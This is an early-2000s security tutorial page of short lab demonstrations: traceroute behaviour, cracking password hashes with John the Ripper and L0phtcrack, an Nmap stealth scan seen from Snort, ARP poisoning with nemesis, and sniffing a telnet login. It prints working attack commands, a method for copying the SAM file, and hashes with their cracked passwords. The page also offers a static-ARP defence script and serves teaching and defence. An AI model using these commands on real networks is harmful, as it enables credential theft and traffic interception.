SPOC - Short Proof of Concepts


Back Home

Last Updated: unknown

Michael Ligh (michael.ligh@mnin.org)


Table of Contents
  1. Introduction
  2. Tracing Routes With ICMP
  3. Password Cracking
  4. NMAP vs Snort
  5. ARP Poisoning
  6. Telnet Sniffing
  7. References

i. Introduction

These are quick demonstrations of the concepts we often read about. We'll explore some characteristics of the Internet protocols, exploit tools, defense mechanisms and so on. They are not designed to be all inclusive. For excruciating details we expect readers to be ambitious and research any unanswered questions. In general, these projects get more complex toward the end, and, of course, the latest experiments will continually be appended.

ii. Tracing Routes With ICMP

Traceroute lets us see the route that IP datagrams take from one host to another. It relies on ICMP and the TTL value in the IP header. The TTL (time-to-live) is an 8-bit field set to some initial value by the sender. Each router along the way decrements this value by 1. It must not, however, forward the datagram if the TTL has reached 0 or 1. In this case the router must discard the datagram and send an ICMP "time exceeded in transit" error message to the originating host. This is a simple mechanism to prevent datagrams from infitintely looping around the Internet.

So, now we can probably guess the operation of traceroute. The originating host sends a datagram with a TTL of 1 to the destination address, which will cause the first router along the way to decrement the TTL, discard the datagram, and return an ICMP error message (thus exposing the address of this router). It then sends a datagram with a TTL of 2 and records the second router's IP address. This continues until the datagram reaches the destination host. But even though the arriving datagram has a TTL of 1, the destination host will not discard it and generate any errors, since the datagram has in fact reached its final destination. However, if this datagram we have mentioning is addressed to an unused UDP port (which it is), the destination machine will generate an ICMP "port unreachable" error instead. This is how traceroute knows when it is done - it simply distinguishes between ICMP time exceeded and port unreachable errors.

Traceroute will not be completed correctly if the destination host does not have a working UDP module or if the port to which the datagram is addressed happens to be open (chances of this are reduced by using values larger than 30,000). The Windows version of traceroute uses a different, but similar mechanism. It will send echo requests to the destination hosts with the same TTL pattern. It knows when it has reached the end by distinguishing by ICMP time exceeded errors and echo replies. Of course, if the destination host blocks or filters echo requests, no reply will be sent, and traceroute will not complete.

So, the purpose of this is not to explain traceroute but to examine a priciple of the underlying protocol - IP. There are no guarantee's that two consecutive datagrams from the same source to the same destination take the same route (though most do). Nor does the protocol’s specification make any guarantee that packets from source A to destination B will take the exact reverse route from source B back to destination A. This is proof it wasn’t kidding. We selected a host in Virginia and a host in Connecticut and will use the Windows version of the traceroute program to demonstrate. First we trace the route from VA to CT:

C:> tracert winxp.loc.ct (from winme.rmt.va)
Tracing route to winxp.loc.ct [64.252.169.108]
over a maximum of 30 hops:
1 <10 ms <10 ms <10 ms 192.168.0.1 
2 <10 ms 14 ms 14 ms 10.226.96.1 
3 14 ms 14 ms <10 ms bic02-p1-0-0.richhe1.va.attbb.net [24.30.224.157] 
4 14 ms 14 ms <10 ms btr02-p0-2.richhe1.va.attbb.net [24.30.224.82]
5 14 ms 13 ms 14 ms btr01-p1-0.richhe1.va.attbb.net [24.30.224.9] 
6 13 ms 14 ms 14 ms 12.124.234.113
7 13 ms 14 ms 14 ms gbr6-p80.wswdc.ip.att.net [12.123.9.62] 
8 <10 ms <10 ms 27 ms tbr1-p013801.wswdc.ip.att.net [12.122.11.173] 
9 13 ms 14 ms 14 ms 12.123.9.113
10 <10 ms 14 ms 14 ms att-gw.dc.sprint.net [192.205.32.166]
11 14 ms 13 ms 14 ms sl-bb24-rly-15-3.sprintlink.net [144.232.20.20] 
12 14 ms 27 ms 27 ms sl-bb23-nyc-13-0.sprintlink.net [144.232.18.238] 
13 14 ms 27 ms 28 ms sl-gw31-nyc-0-0.sprintlink.net [144.232.13.32]
14 27 ms 28 ms 27 ms sl-swb-40-0.sprintlink.net [144.223.26.202]
15 41 ms 27 ms 28 ms bb1-p8-0.mrdnct.sbcglobal.net [151.164.241.70] 
16 28 ms 27 ms 28 ms dist1-vlan40.mrdnct.sbcglobal.net [66.159.184.113]
17 41 ms 42 ms 27 ms bras1-g9-0.mrdnct.snet.net [66.159.184.240] 
18 * * * Request timed out.
19 * * * Request timed out.
20 * * * Request timed out.
21 * * * Request timed out.
22 * * * Request timed out.
23 * * * Request timed out.
24 * * * Request timed out.
25 * * * Request timed out.
26 * * * Request timed out.
27 * * * Request timed out.
28 * * * Request timed out.
29 * * * Request timed out.
30 * * * Request timed out.
Trace complete.

The first hop is the default router/gateway for winme.rmt.va, to which it is directly connected. Next is one of the cable provider's internal routers - probably where the other end of our modem leads. Then we pass through (among others) links in Richmond, D.C., New York, and finally Connecticut. Despite the ‘Trace complete.’ message in the first trace, it never completed. Instead we see a series of Request Timed Out messages, which are represented by asterisks and occur if no response is recieved within 5 seconds. This is probably because our network is built to deny echo requests. It does not reply and thus the traceroute program does not believe it has reached the end. Had there not been a maximum of 30 hops set, the host winme.rmt.va would continue. Now we trace the route from CT back to VA:

C:\> tracert winme.rmt.va (from winxp.loc.ct)
Tracing route to winme.rmt.va [24.125.37.45]
over a maximum of 30 hops:
1 >1 ms <1 ms <1 ms 192.168.1.1 
2 15 ms 15 ms 16 ms bras1-l0.mrdnct.snet.net [204.60.4.34] 
3 13 ms 15 ms 16 ms dist2-vlan60.mrdnct.sbcglobal.net [66.159.184.227] 
4 15 ms 15 ms 14 ms bb1-g5-0.mrdnct.sbcglobal.net [66.159.184.99]
5 18 ms 18 ms 18 ms bb1-p9-0.nycmny.sbcglobal.net [151.164.241.69] 
6 17 ms 18 ms 18 ms sl-gw31-nyc-11-0.sprintlink.net [144.223.26.201]
7 17 ms 18 ms 19 ms sl-bb23-nyc-12-0.sprintlink.net [144.232.13.33] 
8 18 ms 18 ms 18 ms sl-bb20-nyc-8-0.sprintlink.net [144.232.7.13]
9 16 ms 18 ms 18 ms 144.232.18.226 
10 21 ms 18 ms 17 ms tbr2-p012202.n54ny.ip.att.net [12.123.1.126] 
11 38 ms 31 ms 31 ms tbr2-cl1.wswdc.ip.att.net [12.122.10.54] 
12 30 ms 31 ms 31 ms gbr5-p40.wswdc.ip.att.net [12.122.11.186] 
13 31 ms 31 ms 31 ms gar2-p360.wswdc.ip.att.net [12.123.9.57]
14 35 ms 34 ms 34 ms 12.124.234.114 
15 30 ms 32 ms 31 ms btr02-p1-0.richhe1.va.attbb.net [24.30.224.10]
16 33 ms 31 ms 34 ms ubr01-p1-0.pumphe1.va.attbb.net [24.30.224.81]
17 34 ms 33 ms 34 ms btr02-p0-0.richhe1.va.attbb.net [24.30.224.158]
18 42 ms 44 ms 41 ms c-24-125-37-45.va.client2.attbi.com [24.125.37.45]
19 57 ms 44 ms 44 ms c-24-125-37-45.va.client2.attbi.com [24.125.37.45] 
Trace complete.

No router is present in both traces, though the packets do pass through the same domains (sprint links in NYC, attbi links in VA, sbc links in CT). This demonstrates the dynamic nature and complexity of IP routing. We can alter the flow of datagrams to be trasmitted with IP by setting loose or strict source routing options. This will be the topic of a future s-p-o-c.

Info Source: TCP/IP Illustrated Vol.1 by W. Richard Stevens

iii. Password Cracking

For this project we will try decrypting a few Windows and Unix password hashes. We will use the L0phcrack tool from @stake, [1] and John the Ripper from Openwall, [2] to audit user and administrator passwords.

On a Unix system, the files we’re concerned with are /etc/passwd and /etc/shadow. We have to combine these into a readable format before running John the Ripper against them, so:

[root@sp.loc.ct run]# ./unshadow /etc/passwd /etc/shadow > pwlist.1

Here is an example of pwlist.1 before auditing: (usernames and passwords were changed after this test). Fields are separated by a colin - first is the username, then the encrypted password, the UID, the GID, user's full name, home directory, and login shell (if one exists).

root:$1$XtuI2Yaf$d5LUKOj96W7fuAkV4chd9/:0:0:root:/root:/bin/bash
bmh:$1$kGcWhnmv$Z7hgqcFGYfpcG/NDTvUvD1:501:501:michael:/home/bmh:/bin/bash
bw:$1$nF$N.t/2tgDgtlccMADFuWhU/:599:599:brett:/home/mailusers/bw:/sbin/nologin
mad:$1$63507383$P6faXIyJ88BvdaU6sZaq4.:598:599:mom&dad:/home/mailusers/mad:/sbin/nologin
dag:$1$63510200$F/YOjlRfCfTuBEQ1t7.Je1:597:599:dan&gwen:/home/mailusers/dag:/sbin/nologin
sm:$1$63554595$egTPjeTfb3jUYHqphs.Kd/:596:599:shaun:/home/mailusers/sm:/sbin/nologin
jbm:$1$BA$XI1RlDoeqJGaso4odImTL/:595:599:jon:/home/mailusers/jbm:/sbin/nologin
cm:$1$Dw$DoJvCWvFXEBdrkcQMYIWS1:594:599:charlie:/home/mailusers/cm:/sbin/nologin

Now we’re ready to run John in its default configuration, which uses single-crack mode first, then a wordlist with rules, then moves into incremental mode, so:

[root@sp.loc.ct run]# ./john pwlist.1 
Loaded 8 passwords with 8 different salts (FreeBSD MD5 [32/32])
d4ngw3n (dag)
m0md4d (mad)
changeme (sm)
dragon1 (jbm)

Within a minute of executing John we recover 4/8 passwords. Oh, and I think I remember setting user sm’s password as ‘changme.’ Apparently they didn’t listen. What we immediately learn is that dictionary words, slightly modified with numbers and/or symbols are cracked in the same amount of time (perhaps even quicker) as pure dictionary words. For example, John deciphered m0md4d (momdad) and d4ngw3n (dangwen) before dragon1.

It appears the final 4 passwords will be more difficult. John has most likely entered incremental mode by now and is going its 6th hour of CPU time. Meanwhile, we can examine L0phtcrack’s progress running on the Windows machine.

User Name NTLM Pw NTLM Hash Audit Time
Administrator w0rkstati0n 6461B89F01C3F502ADF5E318DDED8B95 0d 1h 3m 10s
michael hale mnin4617 CAA5F6EF1922D7223ACD6C9DC0BACC7B 0d 4h 56m 24s

By the 5th hour of CPU time, L0phtcrack had decrypted both of the system’s passwords – the Administrator’s in little over an hour. The good news is - if the hash file is to be imported from the local machine, a user must already have administrator access prior to running L0phtrack (on SYSKEY enabled versions of Windows, that is).

For example, assume we want to login to a SYSKEY enabled machine on which we have physical access but no user IDs or passwords. Our concern is to retrieve the SAM file, but the operating system has it locked down. So, we bring our bootable floppy and copy the SAM file to the disk. SAM is the file usually stored in C:\WINDOWS\system32\config\ that contains usernames and password hashes. We then import the SAM file into a L0phtcrack session on our home computer and begin the audit. What will probably happen is us waiting several hours and getting no results. The problem is that L0phtcrack cannot decrypt password hashes encrypted with SYSKEY. We can see the difference this extra layer of encryption has on our hash file:

Administrator(w/o SYSKEY): 6461B89F01C3F502ADF5E318DDED8B95
Administrator(with SYSKEY): CE44549C58F265C3DFF9213CB861064C

michael hale(w/o SYSKEY): CAA5F6EF1922D7223ACD6C9DC0BACC7B
michael hale(with SYSKEY): 8FEB0ABEF7BDC82915DE2B6465956E84

We've done more research on password guessing that can be viewed by clicking Password Guessing.

iv. NMAP vs Snort

This is a demonstration using the Nmap network mapper to gather some information about a computer system. At the same time we’ll run Snort’s IDS on the remote machine to detect the scans. Then we'll make a quick assessment as to which side of the fence (or should we say firewall) has the advantage.

Our scanning system will be drake.rmt.va, a Mandrake Linux machine at 24.125.37.45. The system being scanned is rh.loc.ct, a Redhat Linux firewall and gateway router for a small domain at 64.252.169.108.

[root@drake.rmt.va /]# nmap –sS –P0 –O –v
–p 1-65535 rh.loc.ct > ~/scan.txt &

nmap call the program
-sS use SYN stealth method (TCP half-open)
-P0 do not ping the host first (our host will deny echo requests anyway)
-O attempt to fingerprint the operating system
-p scan listed port range (we want to scan them all)
> redirect stdout to file 
& run this program in the background (gives our shell back)

Starting nmap 3.30 (http://www.insecure.org/nmap/ ) at 2003-09-16 10:49 EDT
Host 108.169.252.64.snet.net (64.252.169.108) appears to be up ... good.
Initiating SYN Stealth Scan against 108.169.252.64.snet.net (64.252.169.108) at 10:49
Adding open port 3389/tcp
Adding open port 4618/tcp
Adding open port 443/tcp
Adding open port 80/tcp
Adding open port 25/tcp
Adding open port 22222/tcp
Adding open port 10000/tcp
Adding open port 21/tcp
Adding open port 65000/tcp
The SYN Stealth Scan took 11726 seconds to scan 65535 ports.
For OSScan assuming that port 21 is open and port 1 is closed and neither are firewalled
For OSScan assuming that port 21 is open and port 1 is closed and neither are firewalled
For OSScan assuming that port 21 is open and port 1 is closed and neither are firewalled
Interesting ports on 108.169.252.64.snet.net (64.252.169.108):
(The 65526 ports scanned but not shown below are in state: closed)
Port State Service
21/tcp open ftp
25/tcp open smtp
80/tcp open http
443/tcp open https
3389/tcp open ms-term-serv
4618/tcp open unknown
10000/tcp open snet-sensor-mgmt
22222/tcp open unknown
65000/tcp open unknown
Device type: broadband router|general purpose|router
Running (JUST GUESSING) : Siemens embedded (91%), Linux 2.4.X|2.5.X (90%),
FreeSCO Linux 2.0.X (90%), Draytek embedded (90%), Panasonic embedded (85%)
Aggressive OS guesses: Siemens Speedstream 2602 DSL/Cable router (91%), Linux
kernel 2.4.20 (90%), Linux kernel 2.4.18 (x86) (90%), FreeSCO 0.27 (Linux
kernel 2.0.38) (90%), Draytek Vigor 2200e DSL router v2.1b (90%), Linux
kernel 2.2.16 (90%), Microsoft Xbox running Debian Linux 2.4.20 (86%), Linux
Kernel 2.4.0 - 2.5.20 (86%), Panasonic IP Technology Broadband Networking
Gateway, KX-HGW200 (85%)
No exact OS matches for host (test conditions non-ideal).
Uptime 2.289 days (since Sun Sep 14 07:16:52 2003)
TCP Sequence Prediction: Class=random positive increments
Difficulty=5107981 (Good luck!)
IPID Sequence Generation: All zeros

Nmap run completed -- 1 IP address (1 host up) scanned in 12169.334 seconds

Did the scan report accurately? Yes, the 9 open ports correspond to the 9 Internet-based services available from the domain scanned. No more, no less. The services labeled “unknown” are not intended for general public use and are thus an attempt to hide – a normal Nmap scan (without the –p 1-65535) will not detect these ports because they are irregular.

Though Nmap reports non-ideal conditions for operating system fingerprinting, it guessed the operating system, kernel version, and platform with a 90% accuracy [Linux 2.4.x|2.5.x and Linux kernel 2.4.18 (x86)]. This is possible because the TCP/IP implementations on each operating system differ slightly and Nmap has a rather comprehensive database of these unique characteristics.

Uptime is incorrectly guessed by Nmap. It reports that the system has been up for a little over 2 days, when it had been up for almost two weeks. This is usually a value obtained by examining the TCP timestamp option field of a packet from the host being scanned. Apparently, the host being scanned does not assign TCP timestamp values according to the algorithm expected by Nmap; or Nmap calculated improperly.

Next, Nmap rates the difficulty of which a connection could be hijacked by predicting the remote host’s sequence numbers. The high classification is not surprising considering the fairly modern kernel and TCP/IP stack. Numerous attacks exploited this vulnerability in the past and it has since been strengthened immensely. [Or has it? We've just added some new research on session hijacking.]

Now, we turn around and look at the reconnaissance attempt from the host being scanned’s point of view.
Using the default rule set for Snort 2.0.1 the following types of alerts were generated:

09/16-18:11:30.262956 [**] [111:10:1] (spp_stream4) STEALTH ACTIVITY (XMAS scan) detection [**] {TCP} 24.125.37.45:54641 -> 64.252.169.108:1
09/16-18:11:30.262262 [**] [1:628:2] SCAN nmap TCP [**] [Classification: Attempted Information Leak] [Priority: 2] {TCP} 24.125.37.45:54589 -> 64.252.169.108:21
09/16-18:11:30.260370 [**] [111:9:1] (spp_stream4) STEALTH ACTIVITY (NULL scan) detection [**] {TCP} 24.125.37.45:54640 -> 64.252.169.108:21
09/16-18:01:18.080833 [**] [117:1:1] (spp_portscan2) Portscan detected from 24.125.37.45: 1 targets 101 ports in 4 seconds [**] {TCP} 24.125.37.45:53783 -> 64.252.169.108:18982
09/16-17:58:48.666845 [**] [1:1420:2] SNMP trap tcp [**] [Classification: Attempted Information Leak] [Priority: 2] {TCP} 24.125.37.45:52838 -> 64.252.169.108:162
09/16-15:17:52.529662 [**] [1:1418:2] SNMP request tcp [**] [Classification: Attempted Information Leak] [Priority: 2] {TCP} 24.125.37.45:62003 -> 64.252.169.108:161
09/16-16:43:18.138423 [**] [1:249:2] DDOS mstream client to handler [**] [Classification: Attempted Denial of Service] [Priority: 2] {TCP} 24.125.37.45:27071 -> 64.252.169.108:15104
09/16-16:38:23.207703 [**] [1:620:3] SCAN Proxy (8080) attempt [**] [Classification: Attempted Information Leak] [Priority: 2] {TCP} 24.125.37.45:25340 -> 64.252.169.108:8080
09/16-15:53:15.325410 [**] [1:1421:2] SNMP AgentX/tcp request [**] [Classification: Attempted Information Leak] [Priority: 2] {TCP} 24.125.37.45:9266 -> 64.252.169.108:705

We see several false positives in Snort’s output since many rules are based on destination port only. For example, there was no “DDOS mstream client to hander” traffic involved in the scan, but the alert indicates there was, because of interaction with port 15401.

Why is this threatening? drake.rmt.va just mapped our domain, including the services assigned high ports in the best attempt to stay hidden from attackers. It has a shaded, but more than clear estimate of our operating system, machine type, and kernel version. With a bit more work it could discover the very versions of the services listening on the open ports and begin preparing specific exploits. For this reason we are working on a real-time firewalling script that blocks access to our domain after a certain number of dropped packets. Stay tuned it will surface shortly.

On the other end, all we gained by running one of the most advanced intrusion detection systems is a few hundred alerts of variable accuracy. We do have the IP address of the scanning host, however if drake.rmt.va used the –D (decoy) option we would not even be this lucky. Our comparison of attacker to defender is thus well skewed in the direction of the attacker.

v. ARP Poison

This is a demonstration of how the ARP protocol can be used to trick a computer into sending packets to the wrong destination. This can be done on almost all local area networks, many cable networks, and basically any other network on which ARP is utilized. First let us get acquainted with the participants on our sample network:

Purpose IP Address MAC Address 
Culprit 192.168.1.1 00:04:5A:80:DB:54
Real Destination 192.168.1.100 00:50:2C:05:6B:A9
Victim 192.168.1.108 00:E0:4C:A3:6F:57

We will first need to temporarily bring down the Real Destination. This is typically accomplished with a DoS technique or similar means, however this is not a demonstration of a DoS, so we will simply disconnect its network connection. We should wait a few minutes until we are sure Victim’s ARP cache has timed out before continuing.

When Victim has packets to send to the Real Destination it will broadcast an ARP request to the entire network. If things go right, Real Destination will recognize its IP address, enter its MAC address, and reply to Victim with the resolved query. Unfortunately, Culprit springs into action when it receives the broadcast ARP request from Victim; and replies to the ARP request with Real Destination’s IP address but its own MAC address.

This causes any traffic from Victim to Real Destination in the future to go directly to Culprit instead. Of course, the packets will be rejected by Culprit at the network layer since they are incorrectly addressed, however all we need are the packets to arrive at the data-link level to capture all its contents. This is a packet-switched network so simply putting a device into promiscuous mode will not capture all data on the wire. Real Destination has no opportunity to interfere because it is strangely experiencing some down time.

To be sure of our starting point, we check the ARP cache on Victim:

[root@victim /] arp –a 
? (192.168.1.2) at 00:06:25:70:72:89 [ether] on eth0
? (192.168.1.1) at 00:04:5A:80:DB:54 [ether] on eth0
? (192.168.1.103) at 00:B0:D0:E8:4E:C4 [ether] on eth0
? (192.168.1.100) at <incomplete> on eth0
? (192.168.1.101) at 00:50:BA:B7:91:10 [ether] on eth0

In a good position, we issue the following command on Culprit:

[root@culprit /]# nemesis arp –v –S 192.168.1.100 –D 192.168.1.108 \
–h 00:04:5A:80:DB:54 –m 00:E0:4C:A3:6F:57 –H \
00:04:5A:80:DB:54 –r -M 00:E0:4C:A3:6F:57

ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4beta3 (Build 22)

[MAC] 00:80:AD:87:67:67 > 00:04:5A:80:DB:54
[Ethernet type] ARP (0x0806)

[Protocol addr:IP] 192.168.1.100 > 192.168.1.108
[Hardware addr:MAC] 00:80:AD:87:67:76 > 00:04:5A:80:DB:54
[ARP opcode] Reply
[ARP hardware fmt] Ethernet (1)
[ARP proto format] IP (0x0800)
[ARP protocol len] 6
[ARP hardware len] 4

Wrote 42 byte unicast ARP request packet through linktype DLT_EN10MB.

ARP Packet Injected

Command line options and key:

nemesis call the program
arp select the module (protocol)
-v be verbose
-S source IP address to appear in ARP reply
-D destination IP address to appear in ARP reply
-h source MAC address to appear in ARP reply
-m destination MAC address to appear in ARP reply
-r enable ARP reply
-H source MAC address for data-link header
-M destination MAC address for data-link-header

Did it work? Lets check the ARP cache on Victim again before continuing:

[root@victim /]# arp –a 
? (192.168.1.2) at 00:06:25:70:72:89 [ether] on eth0
? (192.168.1.1) at 00:04:5A:80:DB:54 [ether] on eth0
? (192.168.1.103) at 00:B0:D0:E8:4E:C4 [ether] on eth0
? (192.168.1.100) at 00:04:5A:80:DB:54 [ether] on eth0
? (192.168.1.101) at 00:50:BA:B7:91:10 [ether] on eth0

Bingo! Victim should now deliver all packets for IP address 192.168.1.100 (Real Destination) to the MAC address 00:04:5A:80:DB:54, which belongs to Culprit. As the last step, we’ll test this theory by simply pinging Real Destination from Victim; and run tcpdump on Culprit to see if they arrive or not. So:

[root@culprit /]# tcpdump –i eth1 > tcpdump.txt 
tcpdump: listening on eth1

[root@victim /]# ping –c 2 192.168.1.100

PING 192.168.1.100 (192.168.1.100) 56(84) bytes of data.
From 192.168.1.1: icmp_seq=2 Redirect Host(New nexthop: 192.168.1.100)

--- 192.168.1.100 ping statistics ---
2 packets transmitted, 0 received, 100% packet loss, time 999ms

[root@culprit /]# cat tcpdump.txt

13:46:03.687181 192.168.1.108 > 192.168.1.100: icmp: echo request (DF)
13:46:03.687258 192.168.1.108 > 192.168.1.100: icmp: echo request (DF)
13:46:04.687047 192.168.1.108 > 192.168.1.100: icmp: echo request (DF)
13:46:04.687093 192.168.1.1 > 192.168.1.108: icmp: redirect 192.168.1.100 to host 192.168.1.100 [tos 0xc0] 
13:46:04.687099 192.168.1.108 > 192.168.1.100: icmp: echo request (DF)
13:46:08.687178 arp who-has 192.168.1.100 tell 192.168.1.108
13:46:09.687222 arp who-has 192.168.1.100 tell 192.168.1.108
13:46:10.687261 arp who-has 192.168.1.100 tell 192.168.1.108
13:46:11.687304 arp who-has 192.168.1.100 tell 192.168.1.108
13:46:12.687349 arp who-has 192.168.1.100 tell 192.168.1.108
13:46:13.687389 arp who-has 192.168.1.100 tell 192.168.1.108

Most definitely – Victim (at 192.168.1.108) sent the packets for Real Destination (at 192.168.1.100) to Culprit instead. Because Culprit is a router, it sends back an ICMP redirect to Victim letting it know there is a shorter path to its destination than the one it chose to take. Normally, in these attacks the Culprit is a host itself and not a router so these messages would not be generated.

After receiving the ICMP redirect, Victim continues to send its messages to our Culprit, because the MAC address in Victim’s ARP cache still maps back to us. To understand the significance of this attack we must assume Victim has something more valuable than ping packets to send Real Destination. If we chose our Victim carefully, this would be a likely scenario.

Once we gather the packets we were expecting we can ease up the DoS attack on Real Destination (or in this case – plug it back in). The network will reconfigure itself and transmissions will resume normally.

Here is an example of a simple script that prevents ARP spoofing attacks on networks by creating a static (un-alterable) ARP table at bootstrap. Once created, these tables will not be overwritten by malicious packets trying to deter traffic.

# Your network prefix

PRE=192.168.1.

# Hostnames and IP addresses

FW=1
LNK=2
WK=100
SV=101
MA=103
SP=108

# Hostnames and hardware addresses

FW_MAC=00:04:5A:80:DB:54
LNK_MAC=00:06:25:70:72:89
WK_MAC=00:50:2C:05:6B:A9
SV_MAC=00:50:BA:B7:91:10
MA_MAC=00:B0:D0:E8:4E:C4
SP_MAC=00:E0:4C:A3:6F:57

# Set the ARP table entries

arp -s $PRE$FW $FW_MAC
arp -s $PRE$LNK $LNK_MAC
arp -s $PRE$WK $WK_MAC
arp -s $PRE$SV $SV_MAC
arp -s $PRE$MA $MA_MAC
arp -s $PRE$SP $SP_MAC

v. Telnet Sniffing

We are about to sniff a telnet session and see what can't be captured. Then we'll go off on a tangent and pick apart each byte in the packet payloads and discuss its significance to the session. Telnet is short for telecommunications network protocol. The traditional protocol uses a variant of the 7-bit ASCII character set and transmits messages in plain text. Newer versions support simple encryption asdo more recent remote command protocols such as SSH.

We issue the following command on the client to begin capturing its network traffic. We want to see all packet headers (-dev), log in binary format (-b), and place the log file into pwd (-l .)

[root@fw root]# snort -dev -i eth1 -b -l . 

Then from the same host we telnet and login to the server at 192.168.1.100. We choose to display the option negotiations to help interpret things later.

[root@fw root]# telnet
telnet> toggle options 
Will show option processing. 
telnet> open 192.168.1.100
SENT DO SUPPRESS GO AHEAD
SENT WILL TERMINAL TYPE
SENT WILL NAWS
SENT WILL TSPEED
SENT WILL LFLOW
SENT WILL LINEMODE
SENT WILL-NEWENVIRON
SENT DO STATUS
SENT WILL XDISPLOC
RCVD WILL ECHO
SENT DO ECHO

login: mike 
password: password
Invalid username or password. 
login: mike 
password: easypassword 
Welcome mike! 

We'll use a Berkeley packet filter to strip the log file down to the traffic we really want to see; then comment the important sections:

[root@fw root]# snort -dv -r filename host 192.168.1.100 and port 23

The three connection establishment packets. Connection is established from this point on. We can also note these two hosts are most likely a Windows box (TTL 128), a unix-based box (TTL 64) and that both hosts are on the same network (the packets have do not pass through any routers, else the TTL would be less than 128 or 64).

11/09-19:33:03.665688 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4241 IpLen:20 DgmLen:60 DF
******S* Seq: 0x84DC6FFA  Ack: 0x0  Win: 0x16D0  TcpLen: 40
TCP Options (5) => MSS: 1460 SackOK TS: 114589547 0 NOP WS: 0 

11/09-19:33:03.665817 192.168.1.100:23 -> 192.168.1.1:34880
TCP TTL:128 TOS:0x0 ID:32993 IpLen:20 DgmLen:64 DF
***A**S* Seq: 0x34A4BAC  Ack: 0x84DC6FFB  Win: 0xFAF0  TcpLen: 44
TCP Options (9) => MSS: 1460 NOP WS: 0 NOP NOP TS: 0 0 NOP NOP 
TCP Options => SackOK 

11/09-19:33:03.665851 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4242 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x84DC6FFB  Ack: 0x34A4BAD  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114589548 0 

Now the option negotiation packets, which is usually the first exchange in a telnet session. This interaction is symmetric – either side can send a request to the other. Three bytes of data are required for each option. First, the byte 0xff (255 decimal) is called IAC, for “interpret as command.” It lets the telnet program know what to do with the bytes that follow. The second byte indicates a WILL, DO, WONT, or DONT statement. This lets one the involved computers notify the other if it would like to enable or disable any options before the user interaction begins. The final byte is the option ID, specifying which option the host would like to have enabled or disabled.

Each option triplet (from the following packet) and their corresponding meaning (the term sender in this case indicates the telnet client):

FF FD 03 sender wants receiver to enable suppress go ahead option
FF FB 18 sender wants to enable terminal type option itself 
FF FB 1F sender wants to enable window size option itself
FF FB 20 sender wants to enable naws option itself
FF FB 21 sender wants to enable tspeed option itself
FF FB 22 sender wants to enable lflow option itself
FF FB 27 sender wants to enable linemode option itself
FF FD 05 sender wants receiver to enable status option 
FF FB 23 sender wants to enable xdisploc option itself

11/09-19:33:03.698805 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4243 IpLen:20 DgmLen:79 DF
***AP*** Seq: 0x84DC6FFB  Ack: 0x34A4BAD  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114589551 0 
FF FD 03 FF FB 18 FF FB 1F FF FB 20 FF FB 21 FF  ........... ..!.
FB 22 FF FB 27 FF FD 05 FF FB 23                 ."..'.....#

Sender (the server is speaking now) wants to enable the echo option itself.

11/09-19:33:03.701845 192.168.1.100:23 -> 192.168.1.1:34880
TCP TTL:128 TOS:0x0 ID:32994 IpLen:20 DgmLen:55 DF
***AP*** Seq: 0x34A4BAD  Ack: 0x84DC7016  Win: 0xFAD5  TcpLen: 32
TCP Options (3) => NOP NOP TS: 2362325 114589551 
FF FB 01                                         ...

11/09-19:33:03.701901 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4244 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x84DC7016  Ack: 0x34A4BB0  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114589551 2362325 

Sender (client again) agrees that the receiver (server) should enable the echo option. This is the end of option negotiation.

11/09-19:33:03.705397 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4245 IpLen:20 DgmLen:55 DF
***AP*** Seq: 0x84DC7016  Ack: 0x34A4BB0  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114589551 2362325 
FF FD 01                                         ...

Server now prompts user for login name.

11/09-19:33:03.764616 192.168.1.100:23 -> 192.168.1.1:34880
TCP TTL:128 TOS:0x0 ID:32995 IpLen:20 DgmLen:70 DF
***AP*** Seq: 0x34A4BB0  Ack: 0x84DC7019  Win: 0xFAD2  TcpLen: 32
TCP Options (3) => NOP NOP TS: 2362325 114589551 
1B 5B 31 3B 33 35 6D 0D 0A 0D 0A 6C 6F 67 69 6E  .[1;35m....login
3A 20                                            : 

11/09-19:33:03.795764 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4246 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x84DC7019  Ack: 0x34A4BC2  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114589561 2362325 

And so it begins! As specified in the option negotiation transmissions (suppress go ahead and echo, in particular) the telnet session has entered character-at-a-time mode. During this phase, each byte is sent individually; and then it is then echoed by the receiver. The user has entered login name “mike”

11/09-19:33:05.130133 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4247 IpLen:20 DgmLen:53 DF
***AP*** Seq: 0x84DC7019  Ack: 0x34A4BC2  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114589694 2362325 
6D                                               m

11/09-19:33:05.139279 192.168.1.100:23 -> 192.168.1.1:34880
TCP TTL:128 TOS:0x0 ID:32996 IpLen:20 DgmLen:53 DF
***AP*** Seq: 0x34A4BC2  Ack: 0x84DC701A  Win: 0xFAD1  TcpLen: 32
TCP Options (3) => NOP NOP TS: 2362339 114589694 
6D                                               m

11/09-19:33:05.139330 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4248 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x84DC701A  Ack: 0x34A4BC3  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114589695 2362339 

11/09-19:33:05.280431 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4249 IpLen:20 DgmLen:53 DF
***AP*** Seq: 0x84DC701A  Ack: 0x34A4BC3  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114589709 2362339 
69                                               i

11/09-19:33:05.327794 192.168.1.100:23 -> 192.168.1.1:34880
